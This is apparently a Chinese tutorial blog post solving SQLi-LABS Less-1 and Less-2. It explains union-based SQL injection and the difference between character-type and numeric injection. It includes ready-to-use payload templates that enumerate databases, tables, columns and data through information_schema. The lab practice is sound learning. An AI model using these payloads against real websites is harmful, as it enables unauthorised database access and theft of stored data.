SQLi-LABS Less-1&&Less-2

审题(Less-1)

Less-1题目如下
在这里插入图片描述
由英文提示我们可以得知我们需要传入的参数名字为ID
在这里插入图片描述
于是我们尝试使用get方式传入参数,得到下图
在这里插入图片描述
因为这是SQL注入的实验室,所以我们就不进行是否存在SQL注入的判断了,直接开始注入流程。

猜字段数

在这里插入图片描述
在这里插入图片描述
由此得知字段数为3,然后我们进行下一步

获得显示位

在这里插入图片描述

查询库名

在这里插入图片描述

查询表名

在这里插入图片描述

查询列名

这里我查询了users这个列名
在这里插入图片描述

获得你需要的内容

在ctf里面,flag一般都在列名里面,至于要查询哪一个表、哪一个列都是需要自己去判断的
在这里插入图片描述

SQL注入的套路语句(适用于无任何过滤的情况下)

?id=1'order by 1--+(猜字段数,下面假设字段数为3)
?id=-1'union select 1,2,3--+(获得显示位)
?id=-1'union select 1,database(),3--+(查库名)
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'--+(查表)
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='列名'--+(查列)
?id=-1'union select 1,group_concat(列里面的内容),3 from 列名--+

SQL的另一个知识点(Less-2)

字符型注入和数字型注入

在Less-1输入:?id=’ 1and 1=1’ 的时候是会报错的
在这里插入图片描述
而在Less-2却不会,这就是因为Less-2需要使用的是数字型注入
在这里插入图片描述
Less-2的套路跟Less-1一样,唯一的区别就是不需要闭合参数,即把 == ?id=1’ == 1后面的“ ’ ” 去掉
在这里插入图片描述

?id=1 order by 1--+(猜字段数,下面假设字段数为3)
?id=-1 union select 1,2,3--+(获得显示位)
?id=-1 union select 1,database(),3--+(查库名)
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'--+(查表)
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='列名'--+(查列)
?id=-1 union select 1,group_concat(列里面的内容),3 from 列名--+

总结

数字型注入和字符型注入的区别

数字型注入:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
字符型注入:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

参考文章

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值